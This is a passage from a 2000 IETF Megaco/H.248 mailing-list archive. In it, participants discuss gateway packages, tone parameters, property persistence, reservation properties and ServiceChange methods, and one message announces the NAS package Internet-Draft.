the codec and what do i</FONT>
<BR><FONT SIZE=3D2>&gt; assign in the &quot;RTPpayload&quot; in annex =
&quot;C&quot; ?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; thanks , shlomo ECI</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C028D4.E1D0F700--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 18:58:38 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA24270
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 18:58:38 -0400 (EDT)
Received: from standards (47.234.32.16:1375) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB993FB@standards.nortelnetworks.com>; Wed, 27 Sep 2000 18:43:02 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1771 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 18:43:02 -0400
Received: from qhars002.nortel.com (47.101.112.102:52325) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB993FA@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          18:43:02 -0400
Received: from smtprch2.nortel.com (actually erchg0k) by qhars002.nortel.com;
          Wed, 27 Sep 2000 23:57:00 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch2.nortel.com; Wed, 27 Sep 2000 17:50:52 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <T3FNSYW3>; Wed, 27 Sep 2000 17:54:43 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480E03@zcard00g.ca.nortel.com>
Date:         Wed, 27 Sep 2000 17:54:42 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: packages
X-To:         Isabelle Cnudde <Isabelle.Cnudde@IND.ALCATEL.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Looks reasonable to me, except that you probably need the TDM package in the
access gateway too.

> -----Original Message-----
> From: Isabelle Cnudde [mailto:Isabelle.Cnudde@IND.ALCATEL.COM]
> Sent: Friday, September 15, 2000 6:30 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: packages
>
>
> Hi ,
>
> MEGACO defines several packages.
> Could one tell me which ones are required in a trunking gateway and
> which ones are required in an access gateway?
>
> What do you think of the following split?
>
> Packages for trunking GW:
>     . Generic package
>     . Base Root package
>     . Basic Continuity package
>     . Network package
>     . RTP package
>     . TDM Circuit package
>
> Packages for access GW:
>     . Generic package
>     . Base Root package
>     . Basic Continuity package
>     . Network package
>     . RTP package
>     . Tone Detection
>     . Tone Generator
>     . Basic DTMF Detector
>     . Basic DTMF Generation
>     . Call Progress Tones Generator
>     . Call Progress Tones Detection
>     . Analog Line Supervision
>
> Thanks for sharing your ideas/comments,
> Isabelle
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 19:19:28 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA24430
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 19:19:28 -0400 (EDT)
Received: from standards (47.234.32.16:1375) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB99435@standards.nortelnetworks.com>; Wed, 27 Sep 2000 19:03:29 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1846 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 19:03:29 -0400
Received: from qhars002.nortel.com (47.101.112.102:52538) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9942E@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          19:03:28 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Thu, 28 Sep 2000 00:17:17 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Wed, 27 Sep 2000 19:06:27 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <TTR8PS2S>; Wed, 27 Sep 2000 19:06:28 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480E04@zcard00g.ca.nortel.com>
Date:         Wed, 27 Sep 2000 19:06:25 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Tone ID vs Tone ID list
X-To:         Naren Tulpule <naren@TRILLIUM.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Looking at section E.4 Tone Detection Package as a specific instance, tl is
a parameter of the event as configured in the EventDescriptor (i.e. look for
the tone(s) listed in tl).  tid is a parameter of the event passed back in a
Notify -- it says "the tone(s) listed in tid were detected".  It's possible
to think of using the "AND" or "OR" syntax for tl, but tid has to be
specified as a list in the package definition because the order in which the
tones were detected matters.

> -----Original Message-----
> From: Naren Tulpule [mailto:naren@TRILLIUM.COM]
> Sent: Friday, September 15, 2000 2:42 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Tone ID vs Tone ID list
>
>
> Hi,
>   in tonegen/tonedet and derived packages, for signal/event
> parameters, we
> have two codepoints - tid (0x0003) for tone ID and tl
> (0x0001) for tone ID
> list. Since they will be followed by 'parmValue' which can be
> '= VALUE' or
> list of values (e.g. '= [VALUE, VALUE, ...]' for AND of
> values) why do we
> need a seperate tid and tl? Is there a semantic difference
> between the two?
>
> -- Naren.
> These views and opinions are mine alone, not those of Intel
>  (yet ;-),
> Narendra C. Tulpule SMTS, Trillium (an Intel company)
> Ph: +1-310-442-9222              Fax: +1-310-442-1162
> 12100 Wilshire Bl #1800         Los Angeles, CA 90025
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 19:42:08 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA24917
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 19:42:07 -0400 (EDT)
Received: from standards (47.234.32.16:3081) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9946A@standards.nortelnetworks.com>; Wed, 27 Sep 2000 19:26:42 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1922 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 19:26:41 -0400
Received: from qhars002.nortel.com (47.101.112.102:52764) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB99469@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          19:26:41 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Thu, 28 Sep 2000
          00:40:34 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Wed, 27 Sep
          2000 19:39:23 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <TTR8PSY6>; Wed, 27 Sep 2000 19:39:24 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480E05@zcard00g.ca.nortel.com>
Date:         Wed, 27 Sep 2000 19:39:21 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Property value retainment in case of LocalControlDescriptor.
X-To:         "bmbabu@HSS.HNS.COM" <bmbabu@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Good question.  It is complicated by the fact that it is crucial (I think)
to be able to say whether a given property is even present on a given
termination.  This is tied to the broader question of package support.  I
would like to make these propositions, which are consistent with the
protocol as it stands but are very much open to discussion:
(1) Some packages are mutually exclusive (cannot simultaneously be supported
on the same termination), for example, RTP and TDMC.
(2) Once a given package has been assigned to a termination, the protocol
provides no way of getting rid of it.

If (1) is true we should be documenting the incompatibilities in the package
definitions and implementations should check for valid combinations.  If (2)
is true each termination acquires a state composed of packages provisioned
against it, plus all additional packages invoked on it by the MGC and
accepted by the MG.  Packages with no known incompatibilities and no
associated properties can be ignored in composing this state.  The MG has to
check each new package invocation from the MGC against the accrued
termination package state.

Now: how does this relate to your question?  If the above propositions are
accepted, we can reason that properties are persistent -- once they have
been attributed to a termination they never go away.  It is a short step to
suggest that they will typically require explicit action to change them, and
you can assume they stay unchanged otherwise.  Therefore properties don't
have to be respecified in TerminationState and LocalControl unless you want
them to change.

> -----Original Message-----
> From: Madhu Babu [mailto:bmbabu@HSS.HNS.COM]
> Sent: Friday, September 15, 2000 10:21 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Property value retainment in case of LocalControlDescriptor.
>
>
> In Section 7.1.7 paragraph 9 indicates that a new local
> control descriptor
> replaces the previous setting of that descriptor is this true
> in case of
> properties also.  or is it that MGC will always have to send
> these properties
> every time it sends a local control descriptor.
> Regards.
> -Madhubabu
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 19:48:25 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA25011
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 19:48:25 -0400 (EDT)
Received: from standards (47.234.32.16:3081) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB99496@standards.nortelnetworks.com>; Wed, 27 Sep 2000 19:32:23 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1978 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 19:32:23 -0400
Received: from qhars002.nortel.com (47.101.112.102:52817) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB99495@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          19:32:23 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Thu, 28 Sep 2000 00:43:29 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Wed, 27 Sep 2000 18:43:18 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <T3FNSZ3Q>; Wed, 27 Sep 2000 18:43:16 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480E06@zcard00g.ca.nortel.com>
Date:         Wed, 27 Sep 2000 18:43:12 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Stopping of signals.
X-To:         "bmbabu@HSS.HNS.COM" <bmbabu@HSS.HNS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Brian has already replied, but I'll point out that section 7.1.9 makes it
clear that it is event recognition, not just event detection, that stops the
signal.

> -----Original Message-----
> From: Madhu Babu [mailto:bmbabu@HSS.HNS.COM]
> Sent: Friday, September 15, 2000 10:13 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Stopping of signals.
>
>
> Section 7.1.11 say that production of signal is stopped when
> an Event is
> detected on the termination. Is this true even if that event
> is not present in
> the event descriptor? If signal is stopped whether the event
> is present in Event
> descriptor or not then what will happen if MGC intention is
> to continue the
> signal application even after any event detection. Which is
> indicated by MGC by
> making keepactive flag ON in all the events present in Event
> descriptor.
> Regards
> -Madhubabu
> Hughes Software Systems.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 23:14:44 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA29018
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 23:14:42 -0400 (EDT)
Received: from standards (47.234.32.16:4557) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB995C0@standards.nortelnetworks.com>; Wed, 27 Sep 2000 22:59:09 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2339 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 22:59:09 -0400
Received: from everest.vxtel.com (host-71.vxtel.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB995A3@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          22:49:08 -0400
Received: by everest with Internet Mail Service (5.5.2650.21) id <TL3SBAT4>;
          Wed, 27 Sep 2000 20:03:15 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <ECE67AE37546D411A60400A0C9B709B108A307@everest>
Date:         Wed, 27 Sep 2000 20:03:10 -0700
Reply-To: Darin Herle <darin@VXTEL.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Darin Herle <darin@VXTEL.COM>
Subject:      RValue/RGroup Properties.
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I'm trying to understand the use of Reserve Value and Reserve Group
properties.

Can't you achieve the same result by having multiple values defined for the
same
property?  ie. specify a codec list for the "media" property of SDP.  What
were
the designers trying to achieve with RValue AND RGroup?

Thanks.

~Darin


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 23:30:52 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA29324
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 23:30:52 -0400 (EDT)
Received: from standards (47.234.32.16:4557) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB995E1@standards.nortelnetworks.com>; Wed, 27 Sep 2000 23:15:05 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2422 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 23:15:05 -0400
Received: from qhars002.nortel.com (47.101.112.102:54729) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB995E0@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          23:15:05 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Thu, 28 Sep 2000 04:29:08 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Wed, 27 Sep 2000 23:27:22 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <TTR8PVF3>; Wed, 27 Sep 2000 23:27:23 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480E09@zcard00g.ca.nortel.com>
Date:         Wed, 27 Sep 2000 23:27:21 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: RValue/RGroup Properties.
X-To:         Darin Herle <darin@VXTEL.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

For "Group" read "session" when you're using SDP.  The intent of
ReserveValue was to indicate the handling of exactly the sort of example you
give, where multiple values are specified for one property.  Is the MG
expected to be prepared to handle any one of them, or to select one return
it?  My favourite example of where it might be required to reserve resources
for multiple alternatives has been where it might have to switch on the fly
between e.g. G.729 and AVT-Tones encoding.  "Select one" would be where the
choice was between functional equivalents like G.729 and G.711.

ReserveGroup applies when multiple session specifications have been
provided. An example of when you might need this is when you want to present
the alternatives:
 - reserve for both G.729 and AVT-Tones, or
 - reserve for G.711 alone.
Depending on how ReserveGroup is set, the MG is being asked to keep its
options open by reserving resources for both session descriptions (with the
assumption that only one will be left when negotiations with the far end are
complete) or to select one of the alternatives (which is what the MG at the
far end would be asked to do).


> -----Original Message-----
> From: Darin Herle [mailto:darin@VXTEL.COM]
> Sent: Wednesday, September 27, 2000 11:03 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: RValue/RGroup Properties.
>
>
> I'm trying to understand the use of Reserve Value and Reserve Group
> properties.
>
> Can't you achieve the same result by having multiple values
> defined for the
> same
> property?  ie. specify a codec list for the "media" property
> of SDP.  What
> were
> the designers trying to achieve with RValue AND RGroup?
>
> Thanks.
>
> ~Darin
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 23:37:59 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id XAA29575
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 23:37:59 -0400 (EDT)
Received: from standards (47.234.32.16:4557) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB99606@standards.nortelnetworks.com>; Wed, 27 Sep 2000 23:22:17 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 2474 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 23:22:17 -0400
Received: from qhars002.nortel.com (47.101.112.102:54864) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB99605@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          23:22:17 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Thu, 28 Sep 2000
          04:35:57 +0100
Received: from zrtpd004.us.nortel.com by zrtps06s.us.nortel.com; Wed, 27 Sep
          2000 17:39:20 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <TTR8PQLV>; Wed, 27 Sep 2000 17:35:58 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
X-Orig: <taylor@americasm01.nt.com>
Message-ID:  <28560036253BD41191A10000F8BCBD11480E00@zcard00g.ca.nortel.com>
Date:         Wed, 27 Sep 2000 17:35:56 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: "Method Disconnected in ServiceChange"
X-To:         Bharat Kaul <bharat@TRILLIUM.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is covered in section D.1.5.

> -----Original Message-----
> From: Bharat Kaul [mailto:bharat@TRILLIUM.COM]
> Sent: Friday, September 22, 2000 5:46 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: "Method Disconnected in ServiceChange"
>
>
> I am wondering when do we use this method as "disconnected" in a
> ServiceChange message. Is it related to transport or is it
> related to loss
> of communication (which to me seem same) or anything else ?
>
> I guess the question I am asking is " what are the situations
> under which MG
> generates a ServiceChange with method as disconnected ? "
>
>  Thanks
> - Bharat
>
>
> --------------------------------------------------------------
> --------------
> -------
> Bharat Kaul;                             mailto:bharat@trillium.com
>
> Trillium Digital Systems Inc.   (An Intel Company)
> 12100 Wilshire Blvd, Los Angeles, CA - 90025.
> Phone: +1-310-442-9222
> Fax:     +1-310-442-1162
> http://www.trillium.com
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 28 06:58:35 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA16677
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 28 Sep 2000 06:58:35 -0400 (EDT)
Received: from standards (47.234.32.16:1282) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB998E7@standards.nortelnetworks.com>; Thu, 28 Sep 2000 6:42:35 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 3390 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 06:42:34 -0400
Received: from ietf.org (odin.ietf.org) by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1b) with SMTP id
          <0.FFB998C1@standards.nortelnetworks.com>; Thu, 28 Sep 2000 6:32:34
          -0400
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org
          (8.9.1a/8.9.1a) with ESMTP id GAA16454; Thu, 28 Sep 2000 06:46:42
          -0400 (EDT)
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
Message-ID:  <200009281046.GAA16454@ietf.org>
Date:         Thu, 28 Sep 2000 06:46:42 -0400
Reply-To: Internet-Drafts@ietf.org
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
Comments:     RFC822 error: <W> Incorrect or incomplete address field found and
              ignored.
From: Internet-Drafts@ietf.org
Subject:      I-D ACTION:draft-ietf-megaco-naspkg-01.txt
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Media Gateway Control Working Group of the IETF.

        Title           : Megaco/H.248 NAS Package
        Author(s)       : J. Mitchell, T. Taylor, A. Whitton, R. Subramaniam
        Filename        : draft-ietf-megaco-naspkg-01.txt
        Pages           : 17
        Date            : 27-Sep-00

This document is work in progress, intended to satisfy the
requirements in section 11.2.5 of the Megaco/H.248 requirements
document [5].  It defines five packages:
- the base NAS package contains properties and events supported by
all NAS terminations;
- the NAS Incoming package contains properties and events
supported by NAS terminations involved in calls initiated by the
circuit network;
- the NAS Outgoing package contains properties supported by NAS
terminations involved in calls outgoing to the circuit network;
- the NAS Control package contains an event supported by a NAS
Control termination, which allows the MG to indicate a request to
initiate a data connection to a terminal served by the switched
circuit network;
- the NAS ROOT package contains properties supported by an MG which
is also capable of supporting at least the NAS and NAS Incoming
packages.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-megaco-naspkg-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
        "get draft-ietf-megaco-naspkg-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
        mailserv@ietf.org.
In the body type:
        "FILE /internet-drafts/draft-ietf-megaco-naspkg-01.txt".

NOTE:   The mail server at ietf.org can return the document in
        MIME-encoded form by using the "mpack" utility.  To use this
        feature, insert the command "ENCODING mime" before the "FILE"
        command.  To decode the response(s), you will need "munpack" or
        a MIME-compliant mail reader.  Different MIME-compliant mail readers
        exhibit different behavior, especially when dealing with
        "multipart" MIME messages (i.e. documents which have been split
        up into multiple messages), so check your local documentation on
        how to manipulate these messages.


Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
        access-type="mail-server";
        server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:     <20000927140048.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-megaco-naspkg-01.txt

--OtherAccess
Content-Type: Message/External-body;
        name="draft-ietf-megaco-naspkg-01.txt";
        site="ftp.ietf.org";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID:     <20000927140048.I-D@ietf.org>

--OtherAccess--

--NextPart--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 28 09:21:28 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA19609
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 28 Sep 2000 09:21:27 -0400 (EDT)
Received: from standards (47.234.32.16:2837) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB99ADD@standards.nortelnetworks.com>; Thu, 28 Sep 2000 9:05:33 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4070 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 09:05:33 -0400
Received: from mail-in.audiocodes.com (AC-INT-LP.ser.netvision.net.il) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB99ADC@standards.nortelnetworks.com>; Thu, 28 Sep 2000
          9:05:32 -0400
Received: by MAIL-IN with Internet Mail Service (5.5.2650.21) id <TK5BN4C5>;
          Thu, 28 Sep 2000 16:18:43 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01C02957.019D26C6"
Message-ID:  <81C3E8FE6C0AD4119D49009027C3AAB2071003@MAIL-IN>
Date:         Thu, 28 Sep 2000 16:18:43 +0200
Reply-To: Oren Kudovitzky <orenku@AUDIOCODES.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Oren Kudovitzky <orenku@AUDIOCODES.COM>
Subject:      test
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C02957.019D26C6
Content-Type: text/plain;
        charset="windows-1255"



------_=_NextPart_001_01C02957.019D26C6
Content-Type: text/html;
        charset="windows-1255"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=windows-1255">


<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>&nbsp;</BODY></HTML>

------_=_NextPart_001_01C02957.019D26C6--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Sep 28 10:40:30 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA22389
	for <megaco-archive@LISTS.IETF.ORG>; Thu, 28 Sep 2000 10:40:28 -0400 (EDT)
Received: from standards (47.234.32.16:2837) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB99BB4@standards.nortelnetworks.com>; Thu, 28 Sep 2000 10:24:31 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 4337 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 28 Sep 2000 10:24:31 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB99BB3@standards.nortelnetworks.com>; Thu, 28 Sep 2000 10:24:30
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA13626; Thu, 28 Sep 2000 10:38:33 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA15735; Thu, 28 Sep 2000 10:38:35 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BBLGKB>; Thu, 28 Sep 2000 10:38:34 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01707331@whq-msgusr-02.pit.comms.marconi.com>
Date:         Thu, 28 Sep 2000 10:38:33 -0400
